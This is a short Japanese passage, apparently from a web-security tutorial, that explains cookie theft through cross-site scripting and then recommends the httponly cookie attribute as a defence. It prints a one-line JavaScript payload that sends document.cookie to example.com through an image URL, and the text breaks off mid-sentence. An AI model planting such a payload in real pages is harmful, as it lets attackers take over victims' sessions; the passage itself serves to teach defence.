以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。 取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。 リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。 対策例 document.cookieで取得できてしまうから危険なのでは? → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly